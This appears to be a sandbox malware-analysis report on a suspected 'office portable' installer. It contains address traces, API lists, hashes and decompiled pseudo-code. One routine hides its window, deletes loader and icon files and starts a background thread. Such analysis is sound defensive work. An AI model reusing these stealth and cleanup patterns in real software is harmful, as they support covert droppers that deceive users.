0x000df8af
0x000df8af
0x000df8f9
0x000df8f9
0x000df8fe
0x000df900
0x000df903
0x000df906
0x000df90c
0x000df90e
0x000df918
0x000df91a
0x000df91c
0x000df920
0x000df920
0x000df921
0x000df921
0x000df91c
0x000df924
0x000df927
0x000df929
0x000df92f
0x000df92f
0x000df92f
0x000df933
0x000df938
0x000df93b
0x000df93b
0x000df93e
0x000df944
0x000df946
0x000df946
0x000df94c
0x000df94c
0x000df94f
0x000df955
0x000df957
0x000df957
0x000df95c
0x000df95c
0x000df95f
0x000df962
0x000df96b
0x000df96e
0x000df970
0x000df970
0x00000000
0x000df970
0x000df964
0x000df964
0x000df975
0x000df975
0x000df975
0x000df978
0x000df97d
0x000df980
0x000df982
0x000df985
0x000df9b1
0x000df9c5
0x000df9ca
0x000df9cd
0x000df9d0
0x000df9d3
0x000dfa48
0x000dfa49
0x000dfa4f
0x000dfa51
0x000dfa95
0x000dfa98
0x000dfaa0
0x000dfaa3
0x000dfaa5
0x000dfaa5
0x000dfaa5
0x000dfaa5
0x000dfa9a
0x000dfa9a
0x000dfa9a
0x000dfaae
0x000dfacc
0x000dfacf
0x000dfae7
0x000dfaea
0x000dfaef
0x000dfaf4
0x000dfaf4
0x000dfaf6
0x000dfaf9
0x000dfb95
0x000dfb95
0x000dfb97
0x00000000
0x000dfb9d
0x000dfb9d
0x000dfba3
0x000dfba8
0x000dfba8
0x000dfbad
0x000dfbb7
0x000dfbb7
0x000dfbaf
0x000dfbaf
0x000dfbaf
0x000dfbb9
0x000dfbb9
0x000dfbbe
0x000dfbc3
0x000dfbc8
0x000dfc0e
0x000dfbca
0x000dfbca
0x000dfbcf
0x000dfbfa
0x000dfc01
0x000dfc06
0x00000000
0x00000000
0x000dfbd1
0x000dfbd1
0x000dfbd6
0x00000000
0x000dfbd8
0x000dfbd8
0x000dfbdd
0x000dfc08
0x000dfc08
0x000dfbdf
0x000dfbdf
0x000dfbe4
0x00000000
0x000dfbe6
0x000dfbe6
0x000dfbeb
0x000dfbf4
0x000dfbf4
0x000dfbed
0x000dfbed
0x000dfbf2
0x00000000
0x00000000
0x000dfbf2
0x000dfbeb
0x000dfbe4
0x000dfbdd
0x000dfbd6
0x000dfbcf
0x000dfc11
0x000dfc17
0x00000000
0x000dfc1d
0x000dfc1d
0x000dfc20
0x000dfc23
0x00000000
0x000dfc29
0x000dfc31
0x000dfc33
0x000dfc38
0x000dfd2b
0x000dfd2d
0x00000000
0x000dfd33
0x000dfd35
0x000dfd36
0x000dfd38
0x00000000
0x000dfd3a
0x000dfd3a
0x000dfd3d
0x00000000
0x000dfd43
0x000dfd48
0x000dfd4d
0x000dfd50
0x000dfd52
0x00000000
0x00000000
0x00000000
0x00000000
0x000dfd52
0x000dfd3d
0x000dfd38
0x000dfc3e
0x000dfc3e
0x000dfc43
0x000dfca0
0x000dfca0
0x000dfca5
0x000dfca6
0x000dfca8
0x000dfcad
0x000dfcb0
0x000dfcb3
0x00000000
0x000dfcb9
0x000dfcb9
0x000dfcbe
0x000dfcbf
0x000dfcc1
0x000dfcdd
0x000dfcdd
0x000dfce3
0x000dfce9
0x000dfd02
0x000dfd08
0x00000000
0x000dfd0a
0x000dfd0f
0x000dfd16
0x000dfd19
0x000dfd1c
0x00000000
0x000dfd22
0x000dfd22
0x00000000
0x000dfd22
0x000dfd1c
0x000dfceb
0x000dfced
0x000dfcf3
0x000dfcfa
0x000dfcfb
0x000dfcfb
0x000dfcc3
0x000dfcc3
0x000dfcc6
0x000dfd54
0x000dfd59
0x000dfd60
0x000dfd63
0x000dfd66
0x00000000
0x000dfd68
0x00000000
0x000dfd68
0x000dfccc
0x000dfccc
0x000dfcd2
0x00000000
0x000dfcd4
0x000dfcd4
0x00000000
0x000dfcd4
0x000dfcd2
0x000dfcc6
0x000dfcc1
0x000dfc45
0x000dfc45
0x000dfc47
0x00000000
0x000dfc4d
0x000dfc4d
0x000dfc4f
0x00000000
0x000dfc55
0x000dfc57
0x000dfc58
0x000dfc5a
0x000dfd70
0x000dfd74
0x000dfd76
0x000dfd76
0x000dfd77
0x000dfd87
0x000dfd88
0x000dfd8f
0x00000000
0x000dfd79
0x000dfd79
0x000dfd7a
0x00000000
0x000dfd7c
0x000dfd7c
0x000dfd92
0x000dfd92
0x000dfd96
0x000dfd9c
0x000dfd9d
0x000dfd9f
0x000dfda4
0x000dfda7
0x000dfdaa
0x00000000
0x00000000
0x000dfdb0
0x000dfdb3
0x000dfdb5
0x000dfdb7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000dfdb7
0x00000000
0x000dfd92
0x000dfd7a
0x000dfc60
0x000dfc60
0x000dfc63
0x000dfc78
0x000dfc7d
0x000dfc80
0x000dfc82
0x000dfd6d
0x000dfd6f
0x00000000
0x000dfc88
0x000dfc8d
0x000dfc94
0x000dfc97
0x000dfc9a
0x00000000
0x00000000
0x00000000
0x00000000
0x000dfc9a
0x000dfc65
0x000dfc65
0x000dfc65
0x000dfc68
0x00000000
0x000dfc6e
0x00000000
0x000dfc6e
0x000dfc68
0x000dfc63
0x000dfc5a
0x000dfc4f
0x000dfc47
0x000dfc43
0x000dfc38
0x000dfc23
0x000dfc17
0x000dfaff
0x000dfaff
0x000dfb01
0x000dfdb9
0x000dfdd6
0x000dfdff
0x000dfe03
0x000dfe06
0x000dfe09
0x000dfe0b
0x000dfe0e
0x000dfe10
0x000dfe1a
0x000dfe21
0x000dfe24
0x000dfe24
0x000dfe24
0x000dfe29
0x000dfe29
0x000dfe0e
0x000dfe2c
0x000dfe38
0x000dfe3a
0x000dfe3c
0x000dfe3f
0x000dfe44
0x000dfe63
0x000dfe6b
0x000dfe6e
0x000dfea2
0x000dfeb3
0x000dfeb3
0x000dfeb6
0x000dfe70
0x000dfe77
0x000dfe90
0x000dfe97
0x00000000
0x000dfe9c
0x000dfe6e
0x000dfe3f
0x000dfb07
0x000dfb07
0x000dfb0a
0x00000000
0x000dfb10
0x000dfb18
0x000dfb1f
0x000dfb21
0x000dfb24
0x000dfb27
0x000dfb2a
0x000dfb2d
0x000dfb48
0x000dfb4d
0x000dfb4e
0x000dfb50
0x000dfb53
0x000dfb58
0x000dfb5b
0x000dfb5d
0x000dfb7b
0x000dfb80
0x000dfb87
0x000dfb8a
0x000dfb8d
0x00000000
0x00000000
0x00000000
0x00000000
0x000dfb5f
0x000dfb5f
0x000dfb64
0x00000000
0x000dfb66
0x000dfb6e
0x000dfb73
0x000dfb76
0x000dfb79
0x00000000
0x00000000
0x00000000
0x00000000
0x000dfb79
0x000dfb64
0x000dfb2f
0x000dfb34
0x000dfb3a
0x000dfb8f
0x000dfb8f
0x000dfb92
0x00000000
0x000dfb3c
0x000dfb3c
0x000dfb3e
0x00000000
0x000dfb3e
0x000dfb3a
0x000dfb2d
0x000dfb0a
0x000dfb01
0x000dfa53
0x000dfa67
0x000dfa72
0x000dfa75
0x000dfa7e
0x000dfa84
0x000dfa86
0x000dfa8d
0x000dfa8d
0x00000000
0x000dfa86
0x000df9d5
0x000df9d5
0x000df9e1
0x000df9e3
0x000dfa16
0x000dfa16
0x000dfa20
0x000dfa27
0x000dfa2a
0x000dfa2a
0x000dfa2a
0x000dfa36
0x000dfa3b
0x000dfa3c
0x000dfa41
0x000df9e5
0x000df9e5
0x000df9e9
0x00000000
0x000df9eb
0x000df9ff
0x000dfa06
0x000dfa0b
0x000dfa0e
0x000dfa11
0x000dfa14
0x00000000
0x00000000
0x00000000
0x00000000
0x000dfa14
0x000df9e9
0x000df9e3
0x000dfeb9
0x000dfeb9
0x000df987
0x000df98c
0x000df98e
0x000df98e
0x000df996
0x000df9a1
0x000df9a1
0x000df985
0x000df8ad
0x000df8a6
0x000df89f
0x000df898
0x000df894
0x000df892
0x000df85a
0x000df855
0x000df851
0x000df84d
0x000df7f0
0x000df7f5
0x000df7fa
0x000df7fd
0x000df804
0x000df805
0x000df807
0x000df80c
0x000df80c
0x000df7ee
0x000df7eb
0x000df9a7
0x000df9a7

APIs

___createFile.LIBCMT ref: 000DF9C5
___createFile.LIBCMT ref: 000DFA06
GetLastError.KERNEL32(?,?,?,?,00000000,00000000,00000109), ref: 000DFA2F
__dosmaperr.LIBCMT ref: 000DFA36
GetFileType.KERNELBASE(00000000,?,?,?,?,00000000,00000000,00000109), ref: 000DFA49
GetLastError.KERNEL32(?,?,?,?,00000000,00000000,00000109), ref: 000DFA6C
__dosmaperr.LIBCMT ref: 000DFA75
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,00000000,00000109), ref: 000DFA7E
__set_osfhnd.LIBCMT ref: 000DFAAE
__lseeki64_nolock.LIBCMT ref: 000DFB18
__close_nolock.LIBCMT ref: 000DFB3E
__chsize_nolock.LIBCMT ref: 000DFB6E
__lseeki64_nolock.LIBCMT ref: 000DFB80
__lseeki64_nolock.LIBCMT ref: 000DFC78
__lseeki64_nolock.LIBCMT ref: 000DFC8D
__close_nolock.LIBCMT ref: 000DFCED

Part of subcall function 000D668D: FindCloseChangeNotification.KERNELBASE(00000000,?,00000000,?,000DFB43,?,?,?,?,?,?,?,?,00000000,00000000,00000109), ref: 000D66DD
Part of subcall function 000D668D: GetLastError.KERNEL32(?,000DFB43,?,?,?,?,?,?,?,?,00000000,00000000,00000109), ref: 000D66E7
Part of subcall function 000D668D: __free_osfhnd.LIBCMT ref: 000D66F4
Part of subcall function 000D668D: __dosmaperr.LIBCMT ref: 000D6716

Part of subcall function 000D1261: __getptd_noexit.LIBCMT ref: 000D1261

__lseeki64_nolock.LIBCMT ref: 000DFD0F
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,00000000,00000109), ref: 000DFE44
___createFile.LIBCMT ref: 000DFE63
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000109), ref: 000DFE70
__dosmaperr.LIBCMT ref: 000DFE77
__free_osfhnd.LIBCMT ref: 000DFE97
__invoke_watson.LIBCMT ref: 000DFEC5

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: __lseeki64_nolock$ErrorFileLast__dosmaperr$Close___create$Handle__close_nolock__free_osfhnd$ChangeFindNotificationType__chsize_nolock__getptd_noexit__invoke_watson__set_osfhnd
String ID:
API String ID: 1617868769-0
Opcode ID: e85663af44eedfe510576ee50b97ef976866f449a3653cfeb55ec58571aa6533
Instruction ID: 19f7733f9bc8862cda836197e30659d314fa95193f68a4e4116f1ab36bc3da50
Opcode Fuzzy Hash: e85663af44eedfe510576ee50b97ef976866f449a3653cfeb55ec58571aa6533
Instruction Fuzzy Hash: 7022C271900307AAEB259E68DC557FD7BA1AF04324F24823BE926AB3D2C7358D50D762

Uniqueness

Uniqueness Score: -1.00%

Function 000C1590, Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 148
filewindowthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E000C1590(void* __ebx, void* __edx, struct HWND__* _a4, int _a8, int _a12, long _a16) {
				signed int _v8;
				signed int _v16;
				signed int _v56;
				struct tagPAINTSTRUCT _v76;
				intOrPtr _v80;
				void _v108;
				struct tagPAINTSTRUCT _v124;
				void* __edi;
				void* __esi;
				signed int _t15;
				int _t17;
				struct HDC__* _t19;
				void* _t38;
				void* _t45;
				void* _t47;
				long _t49;
				void* _t57;
				int _t58;
				void* _t61;
				struct HWND__* _t63;
				void* _t64;
				void* _t65;
				void* _t66;
				void* _t67;
				void* _t70;
				void* _t71;
				void* _t72;
				void* _t74;
				signed int _t75;
				signed int _t77;
				void* _t82;

				_t61 = __edx;
				_t47 = __ebx;
				_t77 = (_t75 & 0xfffffff8) - 0x50;
				_t15 =  *0xef6ac; // 0xcff43140
				_v8 = _t15 ^ _t77;
				_t63 = _a4;
				_v80 = 1;
				if( *0xf1ab1 != 0) {
					_t45 =  *0xf1ab4; // 0x208
					if(_t45 != 0) {
						CloseHandle(_t45);
						PostQuitMessage(0);
					}
					 *0xf1ab1 = 0;
				}
				if( *0xf1ab0 != 0) {
					 *0xf1ab0 = 0;
					ShowWindow(_t63, 0);
					SetWindowLongA(_t63, 0xffffffec, GetWindowLongA(_t63, 0xffffffec) | 0x00000080);
				}
				_t17 = _a8;
				_t82 = _t17 - 5;
				if(_t82 > 0) {
					if(_t17 == 0xf) {
						_t19 = BeginPaint(_t63,  &_v76);
						_t49 =  *0xf1ba8; // 0x78
						SetDIBitsToDevice(_t19, 0, 0,  *0xf1ba4, _t49, 0, 0, 0, _t49,  *0xf1bb0,  *0xf1bd0, 0);
						EndPaint(_t63,  &_v124);
						goto L18;
					} else {
						if(_t17 == 0x111) {
							goto L18;
						} else {
							goto L16;
						}
					}
				} else {
					if(_t82 == 0) {
						E000C8970(0xf1b90, 0x66 -  *0xf1b94); // executed
						_pop(_t66);
						_pop(_t72);
						return E000CC7C7(_t47, _v16 ^ _t77, _t61, _t66, _t72);
					} else {
						_t57 = _t17 - 1;
						if(_t57 == 0) {
							E000C9000(0xf1b90, _t61, _t57); // executed
							_t77 = _t77 - 8;
							E000C8860(_t63, 0xf1b90, 0xf1b90); // executed
							DeleteFileA("loader64.gif"); // executed
							E000C8AD0(0xf1b90, _t61, 0xf1b90); // executed
							DeleteFileA("icon.ico"); // executed
							 *0xf1ab1 = 0;
							 *0xf1ab8 = _t63; // executed
							_t38 = CreateThread(0, 0, E000C2DC0,  &_v108, 0, 0); // executed
							 *0xf1ab4 = _t38;
							if(_t38 == 0) {
								ExitProcess(_v124.rgbReserved);
							}
							L18:
							_pop(_t64);
							_pop(_t70);
							return E000CC7C7(_t47, _v56 ^ _t77, _t61, _t64, _t70);
						} else {
							_t58 = _t57 - 1;
							if(_t58 != 0) {
								L16:
								DefWindowProcA(_t63, _t17, _a12, _a16); // executed
								_pop(_t65);
								_pop(_t71);
								return E000CC7C7(_t47, _v8 ^ _t77, _t61, _t65, _t71);
							} else {
								PostQuitMessage(_t58);
								_pop(_t67);
								_pop(_t74);
								return E000CC7C7(_t47, _v8 ^ _t77, _t61, _t67, _t74);
							}
						}
					}
				}
			}

0x000c1590
0x000c1590
0x000c1596
0x000c1599
0x000c15a0
0x000c15b3
0x000c15b6
0x000c15be
0x000c15c0
0x000c15c7
0x000c15ca
0x000c15d2
0x000c15d2
0x000c15d4
0x000c15d4
0x000c15e2
0x000c15e7
0x000c15ee
0x000c1606
0x000c1606
0x000c160c
0x000c160f
0x000c1612
0x000c16dc
0x000c170c
0x000c1712
0x000c1739
0x000c1745
0x00000000
0x000c16de
0x000c16e3
0x00000000
0x00000000
0x00000000
0x00000000
0x000c16e3
0x000c1618
0x000c1618
0x000c16bf
0x000c16c6
0x000c16c7
0x000c16d6
0x000c161e
0x000c1620
0x000c1621
0x000c1648
0x000c164d
0x000c1657
0x000c1667
0x000c166a
0x000c1674
0x000c1688
0x000c168f
0x000c1695
0x000c169b
0x000c16a2
0x000c16ac
0x000c16ac
0x000c174b
0x000c174f
0x000c1750
0x000c175d
0x000c1623
0x000c1623
0x000c1624
0x000c16e5
0x000c16ed
0x000c16f3
0x000c16f4
0x000c1703
0x000c162a
0x000c162b
0x000c162f
0x000c1630
0x000c163f
0x000c163f
0x000c1624
0x000c1621
0x000c1618

APIs

CloseHandle.KERNEL32(00000208), ref: 000C15CA
PostQuitMessage.USER32(00000000), ref: 000C15D2

Part of subcall function 000C8970: MoveWindow.USER32(00060368,00000003,00000001,000F1B90,00000013,00000001,74ECF620,?,000C16C4,?,-000F1B2E), ref: 000C8990
Part of subcall function 000C8970: ShowWindow.USER32(00000005,?,000C16C4,?,-000F1B2E), ref: 000C899E
Part of subcall function 000C8970: CreateThread.KERNELBASE ref: 000C89CF

ShowWindow.USER32(?,00000000), ref: 000C15EE
GetWindowLongA.USER32 ref: 000C15F7
SetWindowLongA.USER32 ref: 000C1606
PostQuitMessage.USER32(?), ref: 000C162B
DeleteFileA.KERNELBASE(loader64.gif,?,?,000F1B90), ref: 000C1667
DeleteFileA.KERNELBASE(icon.ico,?,?,000F1B90), ref: 000C1674
CreateThread.KERNELBASE ref: 000C1695
ExitProcess.KERNEL32 ref: 000C16AC

Strings

loader64.gif, xrefs: 000C1662
icon.ico, xrefs: 000C166F

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: Window$CreateDeleteFileLongMessagePostQuitShowThread$CloseExitHandleMoveProcess
String ID: icon.ico$loader64.gif
API String ID: 3317911680-370559028
Opcode ID: a64183701c664d476a406917127f758b9514c2004ade1cc841fb271eddc89a99
Instruction ID: bfc8713aaf108e330b89c67d46767eee18856d36d3b9dd7746e9960d6a52fb01
Opcode Fuzzy Hash: a64183701c664d476a406917127f758b9514c2004ade1cc841fb271eddc89a99
Instruction Fuzzy Hash: 1E41D731648244EFF710EB64EC49FBE3BA8EB85B00F00465DF601EA5E1DB799400DB62

Uniqueness

Uniqueness Score: -1.00%

Function 000DD423, Relevance: 26.2, APIs: 17, Instructions: 664
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 97%

			E000DD423(signed int _a4, short* _a8, long _a12, signed char _a15) {
				void _v5;
				char _v11;
				void _v12;
				signed int _v16;
				char* _v20;
				long _v24;
				signed int _v28;
				void* _v32;
				long _v36;
				signed int _v40;
				unsigned int _v44;
				signed int _t263;
				signed int _t266;
				signed char _t268;
				signed char _t272;
				long _t274;
				long _t279;
				intOrPtr _t280;
				short* _t281;
				long _t282;
				signed int _t283;
				long _t285;
				long _t286;
				char* _t288;
				signed char _t293;
				signed char _t294;
				long _t295;
				signed int _t296;
				signed char _t297;
				long _t305;
				intOrPtr _t306;
				void* _t308;
				void* _t309;
				void* _t310;
				void* _t311;
				long _t315;
				void* _t316;
				signed int _t320;
				intOrPtr _t322;
				void* _t324;
				signed char _t325;
				long _t326;
				signed char _t327;
				signed int _t328;
				long _t330;
				signed int _t341;
				signed int _t345;
				void* _t346;
				signed char _t347;
				long _t355;
				intOrPtr _t356;
				void* _t358;
				void* _t359;
				void* _t360;
				long _t362;
				long _t363;
				void* _t364;
				long _t366;
				long _t370;
				short _t374;
				short _t377;
				signed int _t387;
				signed int _t388;
				char* _t389;
				signed int _t390;
				signed int _t392;
				void* _t393;
				intOrPtr _t395;
				signed int _t396;
				long _t401;
				long _t402;
				void* _t403;
				intOrPtr _t404;
				char _t407;
				long _t409;
				void* _t410;
				intOrPtr _t411;
				signed int _t413;
				void* _t416;
				intOrPtr _t417;
				intOrPtr _t420;
				char _t421;
				intOrPtr _t422;
				intOrPtr _t423;
				signed int _t424;
				void* _t425;
				void* _t426;
				void* _t427;
				signed int _t429;
				short _t431;
				short* _t432;
				short* _t433;
				signed int _t435;
				signed short* _t437;
				long _t438;
				void* _t441;
				char* _t443;
				long _t444;
				long _t446;
				signed int _t447;
				intOrPtr _t448;
				long _t449;
				long _t450;
				long _t451;
				signed char* _t452;
				int _t453;
				long _t454;
				void* _t456;

				_t263 = _a4;
				_t446 = _a12;
				_t390 = 0xfffffffe;
				_t435 = 0;
				_v36 = 0;
				_v28 = _t390;
				_v44 = _t446;
				_t458 = _t263 - _t390;
				if(_t263 != _t390) {
					__eflags = _t263;
					if(__eflags < 0) {
						L168:
						 *(E000D122D(__eflags)) = _t435;
						 *((intOrPtr*)(E000D1261(__eflags))) = 9;
						L169:
						_t266 = E000D3462();
						goto L170;
					}
					__eflags = _t263 -  *0xf1bf8; // 0x20
					if(__eflags >= 0) {
						goto L168;
					}
					_t392 = _t263 >> 5;
					_t422 =  *((intOrPtr*)(0xf1760 + _t392 * 4));
					_t387 = (_t263 & 0x0000001f) << 6;
					_v16 = _t392;
					_t268 =  *((intOrPtr*)(_t422 + _t387 + 4));
					_v40 = _t387;
					__eflags = _t268 & 0x00000001;
					if(__eflags == 0) {
						goto L168;
					}
					__eflags = _t446 - 0x7fffffff;
					if(__eflags <= 0) {
						__eflags = _t446;
						if(_t446 == 0) {
							L167:
							return 0;
						}
						__eflags = _t268 & 0x00000002;
						if((_t268 & 0x00000002) != 0) {
							goto L167;
						}
						__eflags = _a8;
						if(__eflags != 0) {
							_t272 =  *((intOrPtr*)(_t422 + _t387 + 0x24)) +  *((intOrPtr*)(_t422 + _t387 + 0x24)) >> 1;
							_a15 = _t272;
							_t274 = _t272 - 1;
							__eflags = _t274;
							if(_t274 == 0) {
								__eflags =  !_t446 & 0x00000001;
								if(__eflags == 0) {
									goto L11;
								} else {
									_t446 = _t446 >> 1;
									__eflags = _t446 - 4;
									if(_t446 < 4) {
										_t446 = 4;
									}
									_t279 = E000CFC6F(_t446);
									_pop(_t393);
									_v20 = _t279;
									__eflags = _t279;
									if(__eflags != 0) {
										_t280 = E000D643C(_t393, __eflags, _a4, 0, 0, 1);
										_t456 = _t456 + 0x10;
										_t395 =  *((intOrPtr*)(0xf1760 + _v16 * 4));
										 *((intOrPtr*)(_t395 + _t387 + 0x28)) = _t280;
										_t281 = _v20;
										 *((intOrPtr*)(_t395 + _t387 + 0x2c)) = _t422;
										_t392 = _v16;
										L23:
										_t423 =  *((intOrPtr*)(0xf1760 + _t392 * 4));
										_t396 = _v16;
										__eflags =  *(_t423 + _t387 + 4) & 0x00000048;
										_v32 = _t281;
										if(( *(_t423 + _t387 + 4) & 0x00000048) != 0) {
											_t431 =  *((intOrPtr*)(_t423 + _t387 + 5));
											__eflags = _t431 - 0xa;
											if(_t431 != 0xa) {
												__eflags = _t446;
												if(_t446 != 0) {
													 *_t281 = _t431;
													_t47 =  &(_t281[0]); // 0xdfcae
													_t432 = _t47;
													_t435 = 1;
													_t446 = _t446 - 1;
													__eflags = _a15;
													_v32 = _t432;
													 *((char*)( *((intOrPtr*)(0xf1760 + _t396 * 4)) + _t387 + 5)) = 0xa;
													if(_a15 != 0) {
														_t57 = _t387 + 0x25; // 0x45c60975
														_t374 =  *((intOrPtr*)( *((intOrPtr*)(0xf1760 + _t396 * 4)) + _t57));
														__eflags = _t374 - 0xa;
														if(_t374 != 0xa) {
															__eflags = _t446;
															if(_t446 != 0) {
																 *_t432 = _t374;
																_t433 =  &(_t432[0]);
																_t446 = _t446 - 1;
																__eflags = _a15 - 1;
																_v32 = _t433;
																_t435 = 2;
																 *((char*)( *((intOrPtr*)(0xf1760 + _t396 * 4)) + _t387 + 0x25)) = 0xa;
																if(_a15 == 1) {
																	_t377 =  *((intOrPtr*)( *((intOrPtr*)(0xf1760 + _t396 * 4)) + _t387 + 0x26));
																	__eflags = _t377 - 0xa;
																	if(_t377 != 0xa) {
																		__eflags = _t446;
																		if(_t446 != 0) {
																			_t435 = 3;
																			 *_t433 = _t377;
																			_t421 = 0xa;
																			_v32 =  &(_t433[0]);
																			_t446 = _t446 - 1;
																			__eflags = _t446;
																			 *((char*)( *((intOrPtr*)(0xf1760 + _t396 * 4)) + _t387 + 0x26)) = _t421;
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
										_t282 = E000DAA3C(_a4);
										__eflags = _t282;
										_t283 = _v16;
										if(_t282 == 0) {
											L44:
											_t285 = ReadFile( *( *((intOrPtr*)(0xf1760 + _t283 * 4)) + _t387), _v32, _t446,  &_v24, 0); // executed
											__eflags = _t285;
											if(_t285 == 0) {
												L163:
												_t286 = GetLastError();
												_t447 = 5;
												__eflags = _t286 - _t447;
												if(__eflags != 0) {
													__eflags = _t286 - 0x6d;
													if(_t286 != 0x6d) {
														L39:
														E000D1240(_t286);
														L40:
														_t388 = _t387 | 0xffffffff;
														__eflags = _t388;
														L41:
														_t288 = _v20;
														L108:
														__eflags = _t288 - _a8;
														if(_t288 != _a8) {
															E000CD081(_t288);
														}
														__eflags = _t388 - 0xfffffffe;
														if(_t388 != 0xfffffffe) {
															_t435 = _t388;
														}
														return _t435;
													}
													_t388 = 0;
													goto L41;
												}
												 *((intOrPtr*)(E000D1261(__eflags))) = 9;
												 *(E000D122D(__eflags)) = _t447;
												goto L40;
											}
											_t401 = _v24;
											__eflags = _t401;
											if(_t401 < 0) {
												goto L163;
											}
											__eflags = _t401 - _t446;
											if(_t401 > _t446) {
												goto L163;
											}
											L47:
											_t424 = _v16;
											_t435 = _t435 + _t401;
											_t448 =  *((intOrPtr*)(0xf1760 + _t424 * 4));
											_t106 = _t387 + 4; // 0x840ffff8
											_t293 =  *((intOrPtr*)(_t448 + _t106));
											__eflags = _t293;
											if(_t293 >= 0) {
												L106:
												_t288 = _v20;
												L107:
												_t388 = _v28;
												goto L108;
											}
											__eflags = _a15 - 2;
											if(_a15 == 2) {
												__eflags = _v36;
												if(_v36 == 0) {
													__eflags = _t401;
													if(_t401 == 0) {
														L130:
														_t294 = _t293 & 0x000000fb;
														__eflags = _t294;
														L131:
														 *(_t448 + _t387 + 4) = _t294;
														_t295 = _v20;
														_t449 = _t295;
														_t402 = _t295 + _t435;
														_v44 = _t295;
														_v36 = _t402;
														__eflags = _t295 - _t402;
														if(_t295 >= _t402) {
															L162:
															_t288 = _v20;
															_t435 = _t449 - _t288;
															goto L107;
														}
														_t403 = 0xd;
														_a12 = 0x1a;
														_t437 = _t295;
														while(1) {
															_t296 =  *_t437 & 0x0000ffff;
															__eflags = _t296 - _a12;
															if(_t296 == _a12) {
																break;
															}
															__eflags = _t296 - _t403;
															if(_t296 == _t403) {
																__eflags = _t437 - _v36 + 0xfffffffe;
																if(_t437 >= _v36 + 0xfffffffe) {
																	_t437 =  &(_t437[1]);
																	_t305 = ReadFile( *( *((intOrPtr*)(0xf1760 + _t424 * 4)) + _t387),  &_v12, 2,  &_v24, 0);
																	__eflags = _t305;
																	if(_t305 != 0) {
																		L143:
																		__eflags = _v24;
																		if(_v24 == 0) {
																			L158:
																			_t424 = _v16;
																			_t403 = 0xd;
																			 *_t449 = _t403;
																			_t449 = _t449 + 2;
																			L150:
																			__eflags = _t437 - _v36;
																			if(_t437 < _v36) {
																				continue;
																			}
																			goto L162;
																		}
																		_t424 = _v16;
																		_t306 =  *((intOrPtr*)(0xf1760 + _t424 * 4));
																		__eflags =  *(_t306 + _t387 + 4) & 0x00000048;
																		if(( *(_t306 + _t387 + 4) & 0x00000048) == 0) {
																			__eflags = _t449 - _v20;
																			if(__eflags != 0) {
																				L155:
																				E000D643C(_t403, __eflags, _a4, 0xfffffffe, 0xffffffff, 1);
																				_t424 = _v16;
																				_t456 = _t456 + 0x10;
																				_t308 = 0xa;
																				__eflags = _v12 - _t308;
																				if(_v12 == _t308) {
																					L148:
																					_push(0xd);
																					L149:
																					_pop(_t403);
																					goto L150;
																				}
																				_t403 = 0xd;
																				 *_t449 = _t403;
																				L157:
																				_t449 = _t449 + 2;
																				goto L150;
																			}
																			_t309 = 0xa;
																			__eflags = _v12 - _t309;
																			if(__eflags != 0) {
																				goto L155;
																			}
																			 *_t449 = _t309;
																			_t449 = _t449 + 2;
																			goto L148;
																		}
																		_t310 = 0xa;
																		_push(0xd);
																		__eflags = _v12 - _t310;
																		if(_v12 != _t310) {
																			_pop(_t311);
																			 *_t449 = _t311;
																			 *((char*)( *((intOrPtr*)(0xf1760 + _t424 * 4)) + _t387 + 5)) = _v12;
																			 *((char*)( *((intOrPtr*)(0xf1760 + _t424 * 4)) + _t387 + 0x25)) = _v11;
																			_t407 = 0xa;
																			_t449 = _t449 + 2;
																			__eflags = _t449;
																			 *((char*)( *((intOrPtr*)(0xf1760 + _t424 * 4)) + _t387 + 0x26)) = _t407;
																			goto L148;
																		}
																		 *_t449 = _t310;
																		_t449 = _t449 + 2;
																		goto L149;
																	}
																	_t315 = GetLastError();
																	__eflags = _t315;
																	if(_t315 != 0) {
																		goto L158;
																	}
																	goto L143;
																}
																_t425 = 0xa;
																__eflags = _t437[1] - _t425;
																_t424 = _v16;
																if(_t437[1] != _t425) {
																	 *_t449 = _t403;
																	L140:
																	_t449 = _t449 + 2;
																	_t437 =  &(_t437[1]);
																	goto L150;
																}
																_t316 = 0xa;
																_t437 =  &(_t437[2]);
																 *_t449 = _t316;
																goto L157;
															}
															 *_t449 = _t296;
															goto L140;
														}
														_t404 =  *((intOrPtr*)(0xf1760 + _t424 * 4));
														_t297 =  *(_t404 + _t387 + 4);
														__eflags = _t297 & 0x00000040;
														if((_t297 & 0x00000040) != 0) {
															 *_t449 =  *_t437;
															_t449 = _t449 + 2;
															__eflags = _t449;
														} else {
															 *(_t404 + _t387 + 4) = _t297 | 0x00000002;
														}
														goto L162;
													}
													_t426 = 0xa;
													__eflags =  *_v20 - _t426;
													_t424 = _v16;
													if( *_v20 != _t426) {
														goto L130;
													}
													_t294 = _t293 | 0x00000004;
													goto L131;
												}
												_t450 = _v20;
												asm("cdq");
												_t438 = _t450;
												_t409 = _t450;
												_t427 = _t438 + (_t435 - _t424 >> 1) * 2;
												__eflags = _t438 - _t427;
												if(_t438 >= _t427) {
													L126:
													_t288 = _v20;
